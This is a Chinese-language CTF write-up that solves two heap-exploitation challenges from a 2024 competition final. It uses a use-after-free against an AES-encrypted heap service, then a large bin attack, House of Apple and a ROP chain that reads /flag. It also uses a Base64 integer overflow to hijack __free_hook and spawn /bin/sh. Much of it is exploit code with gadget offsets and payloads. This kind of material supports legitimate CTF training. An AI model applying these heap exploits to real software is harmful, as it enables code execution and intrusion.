2024 强网杯决赛PWN部分解
字数 986 2025-08-22 18:37:15
强网杯决赛PWN题解教学文档
题目一:heap (AES加密堆利用)
环境信息
- libc版本: libc-2.31
- 保护机制: 开启沙盒(需要ORW绕过)
- 加密方式: AES ECB模式加密
程序分析
初始化阶段
- 程序生成一个用于加密的key
- 获取heap基址用于限制申请的chunk地址
漏洞点
- UAF漏洞: 明显的Use-After-Free漏洞
加密机制
- 使用AES ECB模式加密/解密
- 加密/解密的数据大小必须是0x10的倍数
利用思路
1. 绕过加密限制
- 在add函数中,数据先写入明文再加密
- 如果加密大小不是0x10的倍数,加密会失败,数据保持不变
2. 泄露信息
- show函数将解密数据保存在栈上
- 需要修改key为已知值才能控制解密过程
3. 具体利用步骤
- 利用UAF修改key:
add(0, b"B"*0x20)
add(1, b"B"*0x20)
dele(0) # free chunk A
dele(1) # free chunk B
edit(1, b"\xa0") # 修改chunk B的FD尾位指向chunk B
add(0, b"B"*0x10)
add(1, b"B"*0x10) # 申请到存储key的chunk
edit(1, b"B"*0xf) # 修改key值
- 泄露heap地址:
add(0, b"A"*0x10)
add(1, b"A"*0x10)
add(2, b"A"*0x10)
dele(1)
dele(0)
heap = u64(get_key(0)[:8])
- Large bin attack:
- 由于程序限制只能申请0x30大小的chunk,需要伪造large bin大小的chunk
- House of Apple攻击:
- 构造IO_FILE结构体进行利用
- 构造ROP链进行ORW:
pop_rdi = 0x0000000000023b6a + libc.address
pop_rsi = 0x000000000002601f + libc.address
pop_rdx = 0x000000000010257d + libc.address
payload = p64(pop_rdi) + p64(heap + 0x410) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)*3
payload += p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50)
payload += p64(0)*2 + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write']) + b"/flag\x00"
题目二:ez_heap (Base64堆利用)
环境信息
- libc版本: libc-2.31
- 保护机制: 无沙盒,可利用free_hook
程序分析
- 提供Base64加密/解密功能
- 加密和解密对应不同的chunk申请/释放流程
漏洞点
- 在解密(add)函数中存在整数溢出漏洞:
size = (input_size >> 2) * 3; // 右移两位等于除以4,然后乘以3
- 当输入大小不是4的倍数时,会导致堆溢出
利用思路
- 堆布局:
en_add("A"*0x20) # 0x40大小的chunk 1
de_add("A"*0x40) # 0x40大小的chunk 2
de_add("A"*0x40) # 0x40大小的chunk 3
en_dele(0) # 释放chunk 3
- 利用堆溢出修改chunk大小:
payload = b"Qt"*(0x38//2+8) + b"="
de_add(payload) # 修改chunk 2的size位为0x81
- 泄露libc地址:
en_add("A"*0x380) # 进入unsorted bin
en_add("A"*0x20)
en_dele(0)
payload = base64.b64encode(b"A"*8)[:-1] # 只写入8字节
de_add(payload)
de_show(3) # 泄露libc地址
- 劫持free_hook:
de_dele(0)
en_dele(1)
de_dele(1)
payload = b"A"*0x38 + p64(0x41) + p64(libc.sym['__free_hook']) + p64(0)
payload = base64.b64encode(payload.ljust(0x70, b"A"))
de_add(payload)
de_add(base64.b64encode((b'/bin/sh\x00').ljust(0x30, b"A")))
de_add(base64.b64encode(p64(libc.sym['system']).ljust(0x30, b"A")))
de_dele(1) # 触发system("/bin/sh")
关键知识点总结
-
AES ECB加密绕过:
- 利用非对齐的加密大小使加密失败
- 修改key值获得加密/解密的控制权
-
堆风水技巧:
- 通过UAF修改FD指针
- 伪造large bin chunk进行攻击
-
House of Apple:
- 利用IO_FILE结构体进行利用
- 结合setcontext进行栈迁移
-
Base64整数溢出:
- 利用非4的倍数的输入导致堆溢出
- 精确控制溢出长度修改关键数据
-
free_hook利用:
- 在无沙盒环境下直接劫持free_hook
- 通过堆溢出构造任意地址写
-
ORW链构造:
- 在沙盒环境下通过ROP实现open/read/write
- 结合堆地址和libc地址构造稳定利用链